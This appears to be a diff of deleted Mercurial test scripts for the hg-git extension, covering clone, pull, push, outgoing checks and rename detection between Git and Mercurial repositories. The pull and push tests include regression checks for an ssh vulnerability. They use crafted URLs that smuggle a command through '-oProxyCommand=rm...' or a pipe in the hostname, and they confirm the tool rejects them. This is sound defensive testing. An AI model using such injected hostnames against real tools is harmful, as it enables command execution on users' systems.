Date: Mon Jan 1 00:00:11 2007 +0000
add beta
commit 205598a42833e532ad20d80414b8e3b85a65936e
Author: test <test@example.org>
Date: Mon Jan 1 00:00:10 2007 +0000
add alpha

View File

@ -1,135 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m "add alpha"
$ git branch alpha
$ git show-ref
7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03 refs/heads/alpha
7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03 refs/heads/master
$ cd ..
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ hg update -q master
$ echo beta > beta
$ hg add beta
$ fn_hg_commit -m 'add beta'
$ echo gamma > gamma
$ hg add gamma
$ fn_hg_commit -m 'add gamma'
$ hg book -r 574e2d660a7d7bbaf97251f694c8c8327f0db957 beta
$ hg outgoing | grep -v 'searching for changes'
comparing with */gitrepo (glob)
commit: 574e2d660a7d
bookmark: beta
user: test
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
commit: 49480a0fbf45
bookmark: master
user: test
date: Mon Jan 01 00:00:12 2007 +0000
summary: add gamma
$ hg outgoing -r beta | grep -v 'searching for changes'
comparing with */gitrepo (glob)
commit: 574e2d660a7d
bookmark: beta
user: test
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
$ hg outgoing -r master | grep -v 'searching for changes'
comparing with */gitrepo (glob)
commit: 574e2d660a7d
bookmark: beta
user: test
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
commit: 49480a0fbf45
bookmark: master
user: test
date: Mon Jan 01 00:00:12 2007 +0000
summary: add gamma
$ cd ..
some more work on master from git
$ cd gitrepo
Check state of refs after outgoing
$ git show-ref
7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03 refs/heads/alpha
7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03 refs/heads/master
$ git checkout master
Already on 'master'
$ echo delta > delta
$ git add delta
$ fn_git_commit -m "add delta"
$ cd ..
$ cd hgrepo
this will fail # maybe we should try to make it work
$ hg outgoing
comparing with */gitrepo (glob)
abort: branch 'refs/heads/master' changed on the server, please pull and merge before pushing
[255]
let's pull and try again
$ hg pull 2>&1 | grep -v 'divergent bookmark'
pulling from */gitrepo (glob)
importing git objects into hg
$ hg outgoing | grep -v 'searching for changes'
comparing with */gitrepo (glob)
commit: 574e2d660a7d
bookmark: beta
user: test
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
commit: 49480a0fbf45
bookmark: master
user: test
date: Mon Jan 01 00:00:12 2007 +0000
summary: add gamma
$ hg outgoing -r beta | grep -v 'searching for changes'
comparing with */gitrepo (glob)
commit: 574e2d660a7d
bookmark: beta
user: test
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
$ hg outgoing -r master | grep -v 'searching for changes'
comparing with */gitrepo (glob)
commit: 574e2d660a7d
bookmark: beta
user: test
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
commit: 49480a0fbf45
bookmark: master
user: test
date: Mon Jan 01 00:00:12 2007 +0000
summary: add gamma
$ cd ..

View File

@ -1,88 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ git tag alpha
$ git checkout -b beta
Switched to a new branch 'beta'
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ cd ..
clone a tag
$ hg clone -r alpha gitrepo hgrepo-a 2>&1 | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgrepo-a log --graph
@ commit: 69982ec78c6d
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
clone a branch
$ hg clone -r beta gitrepo hgrepo-b 2>&1 | grep -v '^updating'
importing git objects into hg
2 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgrepo-b log --graph
@ commit: 3bb02b6794dd
bookmark: beta
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: 69982ec78c6d
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
$ cd gitrepo
$ echo beta line 2 >> beta
$ git add beta
$ fn_git_commit -m 'add to beta'
$ cd ..
$ cd hgrepo-b
$ hg debugstrip tip 2>&1 2>&1 | grep -v saving 2>&1 | grep -v backup
0 files updated, 0 files merged, 1 files removed, 0 files unresolved
$ hg pull -r beta
pulling from $TESTTMP/gitrepo
importing git objects into hg
abort: you appear to have run strip - please run hg git-cleanup
[255]
$ hg git-cleanup
git commit map cleaned
pull works after 'hg git-cleanup'
"adding remote bookmark" message was added in Mercurial 2.3
$ hg pull -r beta 2>&1 | grep -v "adding remote bookmark"
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg log --graph
o commit: 3db9bf9073b5
bookmark: beta
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add to beta
o commit: 3bb02b6794dd
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
@ commit: 69982ec78c6d
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
$ cd ..

View File

@ -1,369 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
set up a git repo with some commits, branches and a tag
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ git checkout -qB t_alpha
$ git checkout -qb beta
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ git checkout -qb delta master
$ echo delta > delta
$ git add delta
$ fn_git_commit -m 'add delta'
$ cd ..
pull a tag
$ hg init hgrepo
$ echo "[paths]" >> hgrepo/.hg/hgrc
$ echo "default=$TESTTMP/gitrepo" >> hgrepo/.hg/hgrc
$ hg -R hgrepo pull -r t_alpha
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg -R hgrepo update t_alpha
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
(activating bookmark t_alpha)
$ hg -R hgrepo log --graph
@ commit: 69982ec78c6d
bookmark: master
bookmark: t_alpha
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
pull via ssh
# dummyssh doesn't actually work with Git, but it gets far enough to prove that
# the connection succeeded and git was invoked.
$ hg -R hgrepo pull --config paths.default=git+ssh://user@dummy/gitrepo --config ui.ssh="$(dummysshcmd)"
pulling from git+ssh://user@dummy/gitrepo
fatal: '/gitrepo' does not appear to be a git repository
abort: git remote error: The remote server unexpectedly closed the connection.
[255]
no-op pull
$ hg -R hgrepo pull -r t_alpha
pulling from $TESTTMP/gitrepo
no changes found
no-op pull with added bookmark
$ cd gitrepo
$ git checkout -qb epsilon t_alpha
$ cd ..
$ hg -R hgrepo pull -r epsilon
pulling from $TESTTMP/gitrepo
no changes found
pull a branch
$ hg -R hgrepo pull -r beta
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg -R hgrepo log --graph
o commit: 3bb02b6794dd
bookmark: beta
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
@ commit: 69982ec78c6d
bookmark: epsilon
bookmark: master
bookmark: t_alpha
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
add another commit and tag to the git repo
$ cd gitrepo
$ git checkout -q beta
$ git tag t_beta
$ git checkout -q master
$ echo gamma > gamma
$ git add gamma
$ fn_git_commit -m 'add gamma'
$ cd ..
pull everything else
$ hg -R hgrepo pull
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg -R hgrepo log --graph
o commit: 78f47553e70d
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: add gamma
o commit: 0a22250873dd
bookmark: delta
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add delta
o commit: 3bb02b6794dd
bookmark: beta
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
@ commit: 69982ec78c6d
bookmark: epsilon
bookmark: t_alpha
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
add a merge to the git repo
$ cd gitrepo
$ git merge beta | sed 's/| */| /'
Merge made by the 'recursive' strategy.
beta | 1 +
1 file changed, 1 insertion(+)
create mode 100644 beta
$ cd ..
pull the merge
$ hg -R hgrepo pull
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg -R hgrepo log --graph
o commit: 10c1db28cc89
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: Merge branch 'beta'
o commit: 78f47553e70d
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: add gamma
o commit: 0a22250873dd
bookmark: delta
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add delta
o commit: 3bb02b6794dd
bookmark: beta
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
@ commit: 69982ec78c6d
bookmark: epsilon
bookmark: t_alpha
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
pull with wildcards
$ cd gitrepo
$ git checkout -qb releases/v1 master
$ echo zeta > zeta
$ git add zeta
$ fn_git_commit -m 'add zeta'
$ git checkout -qb releases/v2 master
$ echo eta > eta
$ git add eta
$ fn_git_commit -m 'add eta'
$ git checkout -qb notreleases/v1 master
$ echo theta > theta
$ git add theta
$ fn_git_commit -m 'add theta'
ensure that releases/v1 and releases/v2 are pulled but not notreleases/v1
$ cd ..
$ hg -R hgrepo pull -r 'releases/*'
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg -R hgrepo log --graph
o commit: 47d709856ce8
bookmark: releases/v2
user: test <test@example.org>
date: Mon Jan 01 00:00:15 2007 +0000
summary: add eta
o commit: e09a50abb1b1
bookmark: releases/v1
user: test <test@example.org>
date: Mon Jan 01 00:00:14 2007 +0000
summary: add zeta
o commit: 10c1db28cc89
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: Merge branch 'beta'
o commit: 78f47553e70d
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: add gamma
o commit: 0a22250873dd
bookmark: delta
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add delta
o commit: 3bb02b6794dd
bookmark: beta
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
@ commit: 69982ec78c6d
bookmark: epsilon
bookmark: t_alpha
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
add old and new commits to the git repo -- make sure we're using the commit date
and not the author date
$ cat >> $HGRCPATH <<EOF
> [git]
> mindate = 2014-01-02 00:00:00 +0000
> EOF
$ cd gitrepo
$ git checkout -q master
$ echo oldcommit > oldcommit
$ git add oldcommit
$ GIT_AUTHOR_DATE="2014-03-01 00:00:00 +0000" \
> GIT_COMMITTER_DATE="2009-01-01 00:00:00 +0000" \
> git commit -m oldcommit > /dev/null || echo "git commit error"
also add an annotated tag
$ git checkout -q 'master^'
$ echo oldtag > oldtag
$ git add oldtag
$ GIT_AUTHOR_DATE="2014-03-01 00:00:00 +0000" \
> GIT_COMMITTER_DATE="2009-01-01 00:00:00 +0000" \
> git commit -m oldtag > /dev/null || echo "git commit error"
$ GIT_COMMITTER_DATE="2009-02-01 00:00:00 +0000" \
> git tag -a -m 'tagging oldtag' oldtag
$ cd ..
$ hg -R hgrepo pull
pulling from $TESTTMP/gitrepo
no changes found
$ hg -R hgrepo log -r master
commit: 10c1db28cc89
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: Merge branch 'beta'
$ cd gitrepo
$ git checkout -q master
$ echo newcommit > newcommit
$ git add newcommit
$ GIT_AUTHOR_DATE="2014-01-01 00:00:00 +0000" \
> GIT_COMMITTER_DATE="2014-01-02 00:00:00 +0000" \
> git commit -m newcommit > /dev/null || echo "git commit error"
$ git checkout -q refs/tags/oldtag
$ GIT_COMMITTER_DATE="2014-01-02 00:00:00 +0000" \
> git tag -a -m 'tagging newtag' newtag
$ cd ..
$ hg -R hgrepo pull
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg -R hgrepo heads
commit: 497a89953f7c
bookmark: master
user: test <test@example.org>
date: Wed Jan 01 00:00:00 2014 +0000
summary: newcommit
commit: 6809e41e5128
user: test <test@example.org>
date: Sat Mar 01 00:00:00 2014 +0000
summary: oldtag
commit: 47d709856ce8
bookmark: releases/v2
user: test <test@example.org>
date: Mon Jan 01 00:00:15 2007 +0000
summary: add eta
commit: e09a50abb1b1
bookmark: releases/v1
user: test <test@example.org>
date: Mon Jan 01 00:00:14 2007 +0000
summary: add zeta
commit: 0a22250873dd
bookmark: delta
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add delta
Skip commits using hggit.skipgithashes
$ hg init skiprepo
$ cd skiprepo
$ hg pull --config extensions.hggit= --config hggit.skipgithashes=cee7863e67baaf98d4b6f3645dd9fa78fba9de0d ../gitrepo
pulling from ../gitrepo
importing git objects into hg
forcing git commit cee7863e67baaf98d4b6f3645dd9fa78fba9de0d to be empty
$ hg log -G --stat -T '{desc}'
o newcommit newcommit | 1 +
1 files changed, 1 insertions(+), 0 deletions(-)
o oldcommit oldcommit | 1 +
1 files changed, 1 insertions(+), 0 deletions(-)
o oldtag oldtag | 1 +
1 files changed, 1 insertions(+), 0 deletions(-)
o Merge branch 'beta' beta | 1 +
1 files changed, 1 insertions(+), 0 deletions(-)
o add beta beta | 1 +
1 files changed, 1 insertions(+), 0 deletions(-)
o add gamma
o add alpha alpha | 1 +
1 files changed, 1 insertions(+), 0 deletions(-)
$ hg log -r 4d4019e3dd06 --stat
commit: 4d4019e3dd06
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: add gamma
test for ssh vulnerability
$ cat >> $HGRCPATH << EOF
> [ui]
> ssh = ssh -o ConnectTimeout=1
> EOF
$ hg init a
$ cd a
$ hg pull 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null
pulling from git+ssh://-oProxyCommand%3Drm%24%7BIFS%7Dnonexistent/path
abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
[255]
$ hg pull 'git+ssh://-oProxyCommand=rm%20nonexistent/path' 2>&1 >/dev/null
pulling from git+ssh://-oProxyCommand%3Drm%20nonexistent/path
abort: potentially unsafe hostname: '-oProxyCommand=rm nonexistent'
[255]
$ hg pull 'git+ssh://fakehost|shellcommand/path' 2>&1 >/dev/null
pulling from git+ssh://fakehost%7Cshellcommand/path
ssh: .* fakehost%7[Cc]shellcommand.* (re)
abort: git remote error: The remote server unexpectedly closed the connection.
[255]
$ hg pull 'git+ssh://fakehost%7Cshellcommand/path' 2>&1 >/dev/null
pulling from git+ssh://fakehost%7Cshellcommand/path
ssh: .* fakehost%7[Cc]shellcommand.* (re)
abort: git remote error: The remote server unexpectedly closed the connection.
[255]

View File

@ -1,139 +0,0 @@
$ disable treemanifest
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ enable remotenames
$ hg init test
$ cd test
$ cat >>afile <<EOF
> 0
> EOF
$ hg add afile
$ hg commit -m "0.0"
$ cat >>afile <<EOF
> 1
> EOF
$ hg commit -m "0.1"
$ cat >>afile <<EOF
> 2
> EOF
$ hg commit -m "0.2"
$ cat >>afile <<EOF
> 3
> EOF
$ hg commit -m "0.3"
$ hg update -C 'desc(0.0)'
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cat >>afile <<EOF
> 1
> EOF
$ hg commit -m "1.1"
$ cat >>afile <<EOF
> 2
> EOF
$ hg commit -m "1.2"
$ cat >fred <<EOF
> a line
> EOF
$ cat >>afile <<EOF
> 3
> EOF
$ hg add fred
$ hg commit -m "1.3"
$ hg mv afile adifferentfile
$ hg commit -m "1.3m"
$ hg update -C 'desc(0.3)'
1 files updated, 0 files merged, 2 files removed, 0 files unresolved
$ hg mv afile anotherfile
$ hg commit -m "0.3m"
$ cd ..
$ for i in 0 1 2 3 4 5 6 7 8; do
> mkdir test-"$i"
> hg --cwd test-"$i" init
> hg -R test push -r "$i" test-"$i" --to master --force --create
> cd test-"$i"
> hg verify
> cd ..
> done
pushing rev f9ee2f85a263 to destination test-0 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 1 changesets with 1 changes to 1 files
exporting bookmark master
warning: verify does not actually check anything in this repo
pushing rev 34c2bf6b0626 to destination test-1 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 2 changesets with 2 changes to 1 files
exporting bookmark master
warning: verify does not actually check anything in this repo
pushing rev e38ba6f5b7e0 to destination test-2 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 3 changesets with 3 changes to 1 files
exporting bookmark master
warning: verify does not actually check anything in this repo
pushing rev eebf5a27f8ca to destination test-3 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 4 changesets with 4 changes to 1 files
exporting bookmark master
warning: verify does not actually check anything in this repo
pushing rev 095197eb4973 to destination test-4 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 2 changesets with 2 changes to 1 files
exporting bookmark master
warning: verify does not actually check anything in this repo
pushing rev 1bb50a9436a7 to destination test-5 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 3 changesets with 3 changes to 1 files
exporting bookmark master
warning: verify does not actually check anything in this repo
pushing rev 7373c1169842 to destination test-6 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 4 changesets with 5 changes to 2 files
exporting bookmark master
warning: verify does not actually check anything in this repo
pushing rev a6a34bfa0076 to destination test-7 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 5 changesets with 6 changes to 3 files
exporting bookmark master
warning: verify does not actually check anything in this repo
pushing rev aa35859c02ea to destination test-8 bookmark master
searching for changes
adding changesets
adding manifests
adding file changes
added 5 changesets with 5 changes to 2 files
exporting bookmark master
warning: verify does not actually check anything in this repo
$ cd test-8
$ hg pull ../test-7
pulling from ../test-7
searching for changes
adding changesets
adding manifests
adding file changes
added 4 changesets with 2 changes to 3 files
$ hg verify
warning: verify does not actually check anything in this repo

View File

@ -1,196 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m "add alpha"
$ git checkout -b not-master
Switched to a new branch 'not-master'
$ cd ..
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ hg bookmark -q master
$ echo beta > beta
$ hg add beta
$ fn_hg_commit -m 'add beta'
$ echo gamma > gamma
$ hg add gamma
$ fn_hg_commit -m 'add gamma'
$ hg book -r 574e2d660a7d7bbaf97251f694c8c8327f0db957 beta
$ hg push -r beta
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
adding reference refs/heads/beta
$ cd ..
should have two different branches
$ cd gitrepo
$ git branch -v
beta 0f378ab add beta
master 7eeab2e add alpha
* not-master 7eeab2e add alpha
some more work on master from git
$ git checkout master
Switched to branch 'master'
$ echo delta > delta
$ git add delta
$ fn_git_commit -m "add delta"
$ git checkout not-master
Switched to branch 'not-master'
$ cd ..
$ cd hgrepo
this should fail
$ hg push -r master
pushing to $TESTTMP/gitrepo
searching for changes
abort: branch 'refs/heads/master' changed on the server, please pull and merge before pushing
[255]
... even with -f
$ hg push -fr master
pushing to $TESTTMP/gitrepo
searching for changes
abort: branch 'refs/heads/master' changed on the server, please pull and merge before pushing
[255]
$ hg pull 2>&1 | grep -v 'divergent bookmark'
pulling from $TESTTMP/gitrepo
importing git objects into hg
this should also fail
$ hg push -r master
pushing to $TESTTMP/gitrepo
searching for changes
abort: pushing refs/heads/master overwrites 49480a0fbf45
[255]
... but succeed with -f
$ hg push -fr master
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
this should fail, no changes to push
$ hg push -r master
pushing to $TESTTMP/gitrepo
searching for changes
no changes found
[1]
hg-git issue103 -- directories can lose information at hg-git export time
$ hg up master | egrep -v '^\(activating bookmark master\)$'
0 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ mkdir dir1
$ echo alpha > dir1/alpha
$ hg add dir1/alpha
$ fn_hg_commit -m 'add dir1/alpha'
$ hg push -r master
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 2 trees and 0 blobs
updating reference refs/heads/master
$ echo beta > dir1/beta
$ hg add dir1/beta
$ fn_hg_commit -m 'add dir1/beta'
$ hg push -r master
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 2 trees and 0 blobs
updating reference refs/heads/master
$ hg log -r master
commit: * (glob)
bookmark: master
user: test
date: Mon Jan 01 00:00:15 2007 +0000
summary: add dir1/beta
$ cd ..
$ hg clone gitrepo hgrepo-test
importing git objects into hg
updating to branch default
5 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgrepo-test log -r master
commit: * (glob)
bookmark: master
user: test
date: Mon Jan 01 00:00:15 2007 +0000
summary: add dir1/beta
Push empty Hg repo to empty Git repo (issue #58)
$ hg init hgrepo2
$ git init -q --bare gitrepo2
$ hg -R hgrepo2 push gitrepo2
pushing to gitrepo2
searching for changes
no changes found
[1]
The remote repo is empty and the local one doesn't have any bookmarks/tags
$ cd hgrepo2
$ echo init >> test.txt
$ hg addremove
adding test.txt
$ fn_hg_commit -m init
$ hg update null
0 files updated, 0 files merged, 1 files removed, 0 files unresolved
$ hg push ../gitrepo2
pushing to ../gitrepo2
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
(the phases line was added in Mercurial 3.5)
$ hg summary | grep -Ev '^phases:'
parent: 000000000000 (no revision checked out)
commit: (clean)
Only one bookmark 'master' should be created
$ hg bookmarks
* master 8aded40be5af
test for ssh vulnerability
$ cat >> $HGRCPATH << EOF
> [ui]
> ssh = ssh -o ConnectTimeout=1
> EOF
$ hg push 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null
pushing to git+ssh://-oProxyCommand%3Drm%24%7BIFS%7Dnonexistent/path
abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
[255]
$ hg push 'git+ssh://-oProxyCommand=rm%20nonexistent/path' 2>&1 >/dev/null
pushing to git+ssh://-oProxyCommand%3Drm%20nonexistent/path
abort: potentially unsafe hostname: '-oProxyCommand=rm nonexistent'
[255]
$ hg push 'git+ssh://fakehost|rm%20nonexistent/path' 2>&1 >/dev/null
pushing to git+ssh://fakehost%7Crm%20nonexistent/path
ssh: .* fakehost%7[Cc]rm%20nonexistent.* (re)
abort: git remote error: The remote server unexpectedly closed the connection.
[255]
$ hg push 'git+ssh://fakehost%7Crm%20nonexistent/path' 2>&1 >/dev/null
pushing to git+ssh://fakehost%7Crm%20nonexistent/path
ssh: .* fakehost%7[Cc]rm%20nonexistent.* (re)
abort: git remote error: The remote server unexpectedly closed the connection.
[255]

View File

@ -1,561 +0,0 @@
Test that rename detection works
$ . "$TESTDIR/hggit/testutil"
$ cat >> $HGRCPATH <<EOF
> [diff]
> git = True
> [git]
> similarity = 50
> EOF
$ git init -q gitrepo
$ cd gitrepo
$ for i in 1 2 3 4 5 6 7 8 9 10; do echo $i >> alpha; done
$ git add alpha
$ fn_git_commit -malpha
Rename a file
$ git mv alpha beta
$ echo 11 >> beta
$ git add beta
$ fn_git_commit -mbeta
Copy a file
$ cp beta gamma
$ echo 12 >> beta
$ echo 13 >> gamma
$ git add beta gamma
$ fn_git_commit -mgamma
Add a submodule (gitlink) and move it to a different spot:
$ cd ..
$ git init -q gitsubmodule
$ cd gitsubmodule
$ touch subalpha
$ git add subalpha
$ fn_git_commit -msubalpha
$ cd ../gitrepo
$ git submodule add ../gitsubmodule
Cloning into * (glob)
done.
$ fn_git_commit -m 'add submodule'
$ sed -e 's/path = gitsubmodule/path = gitsubmodule2/' .gitmodules > .gitmodules-new
$ mv .gitmodules-new .gitmodules
$ mv gitsubmodule gitsubmodule2
Previous versions of git did not produce any output but 2.14 changed the output
to warn the user about submodules
$ git add .gitmodules gitsubmodule2 2>/dev/null
$ git rm --cached gitsubmodule
rm 'gitsubmodule'
$ fn_git_commit -m 'move submodule'
Rename a file elsewhere and replace it with a symlink:
$ git mv beta beta-new
$ ln -s beta-new beta
$ git add beta
$ fn_git_commit -m 'beta renamed'
Rename the file back:
$ git rm beta
rm 'beta'
$ git mv beta-new beta
$ fn_git_commit -m 'beta renamed back'
Rename a file elsewhere and replace it with a submodule:
$ git mv gamma gamma-new
$ git submodule add ../gitsubmodule gamma 2>&1
Cloning into * (glob)
done.
$ fn_git_commit -m 'rename and add submodule'
Remove the submodule and rename the file back:
$ grep 'submodule "gitsubmodule"' -A2 .gitmodules > .gitmodules-new
$ mv .gitmodules-new .gitmodules
$ git add .gitmodules
$ git rm --cached gamma
rm 'gamma'
$ rm -rf gamma
$ git mv gamma-new gamma
$ fn_git_commit -m 'remove submodule and rename back'
$ git checkout -f -b not-master 2>&1
Switched to a new branch 'not-master'
$ cd ..
$ hg clone -q gitrepo hgrepo
$ cd hgrepo
$ hg book master -q
$ hg log -p --graph --template "{node} {desc|firstline}\n{join(extras, ' ')}\n\n"
@ 144790f182a8d92e4134a20b0f8698854a9638b1 remove submodule and rename back
branch=default convert_revision=50d116676a308b7c22935137d944e725d2296f2a hg-git-rename-source=git
diff --git a/.gitmodules b/.gitmodules
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,6 +1,3 @@
[submodule "gitsubmodule"]
path = gitsubmodule2
url = ../gitsubmodule
-[submodule "gamma"]
- path = gamma
- url = ../gitsubmodule
diff --git a/gamma-new b/gamma
rename from gamma-new
rename to gamma
o f49a0c6fd69faeac5e247b5b37b8e7ce1b443e04 rename and add submodule
branch=default convert_revision=59fb8e82ea18f79eab99196f588e8948089c134f hg-git-rename-source=git
diff --git a/.gitmodules b/.gitmodules
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,6 @@
[submodule "gitsubmodule"]
path = gitsubmodule2
url = ../gitsubmodule
+[submodule "gamma"]
+ path = gamma
+ url = ../gitsubmodule
diff --git a/gamma b/gamma-new
rename from gamma
rename to gamma-new
o 2d38f1131e0beb3b73451640bb27e0df3cf3684e beta renamed back
branch=default convert_revision=f95497455dfa891b4cd9b524007eb9514c3ab654 hg-git-rename-source=git
diff --git a/beta b/beta
old mode 120000
new mode 100644
--- a/beta
+++ b/beta
@@ -1,1 +1,12 @@
-beta-new
\ No newline at end of file
+1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
diff --git a/beta-new b/beta-new
deleted file mode 100644
--- a/beta-new
+++ /dev/null
@@ -1,12 +0,0 @@
-1
-2
-3
-4
-5
-6
-7
-8
-9
-10
-11
-12
o 024a72621ccff3ace020e03019c323d49c718be8 beta renamed
branch=default convert_revision=055f482277da6cd3dd37c7093d06983bad68f782 hg-git-rename-source=git
diff --git a/beta b/beta
old mode 100644
new mode 120000
--- a/beta
+++ b/beta
@@ -1,12 +1,1 @@
-1
-2
-3
-4
-5
-6
-7
-8
-9
-10
-11
-12
+beta-new
\ No newline at end of file
diff --git a/beta b/beta-new
copy from beta
copy to beta-new
o b48620502e8b403e9d92f8ff353ee139e4e22bf8 move submodule
branch=default convert_revision=d7f31298f27df8a9226eddb1e4feb96922c46fa5 hg-git-rename-source=git
diff --git a/.gitmodules b/.gitmodules
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,3 @@
[submodule "gitsubmodule"]
- path = gitsubmodule
+ path = gitsubmodule2
url = ../gitsubmodule
o ea94d2142cbfdaceacb94bedfe29add896c49e47 add submodule
branch=default convert_revision=c610256cb6959852d9e70d01902a06726317affc hg-git-rename-source=git
diff --git a/.gitmodules b/.gitmodules
new file mode 100644
--- /dev/null
+++ b/.gitmodules
@@ -0,0 +1,3 @@
+[submodule "gitsubmodule"]
+ path = gitsubmodule
+ url = ../gitsubmodule
o e3e6b2083b5cc4382f611b16d23df93a40a19a00 gamma
branch=default convert_revision=e1348449e0c3a417b086ed60fc13f068d4aa8b26 hg-git-rename-source=git
diff --git a/beta b/beta
--- a/beta
+++ b/beta
@@ -9,3 +9,4 @@
9
10
11
+12
diff --git a/beta b/gamma
copy from beta
copy to gamma
--- a/beta
+++ b/gamma
@@ -9,3 +9,4 @@
9
10
11
+13
o 80be639891f44172f321d555badcbc3f9d11fa87 beta
branch=default convert_revision=cc83241f39927232f690d370894960b0d1943a0e hg-git-rename-source=git
diff --git a/alpha b/beta
rename from alpha
rename to beta
--- a/alpha
+++ b/beta
@@ -8,3 +8,4 @@
8
9
10
+11
o ff861f77355d7a6aba082ff95f2bc716cf192980 alpha
branch=default convert_revision=938bb65bb322eb4a3558bec4cdc8a680c4d1794c hg-git-rename-source=git
diff --git a/alpha b/alpha
new file mode 100644
--- /dev/null
+++ b/alpha
@@ -0,0 +1,10 @@
+1
+2
+3
+4
+5
+6
+7
+8
+9
+10
Make a new ordinary commit in Mercurial (no extra metadata)
$ echo 14 >> gamma
$ hg ci -m "gamma2"
Make a new commit with a copy and a rename in Mercurial
$ hg cp gamma delta
$ echo 15 >> delta
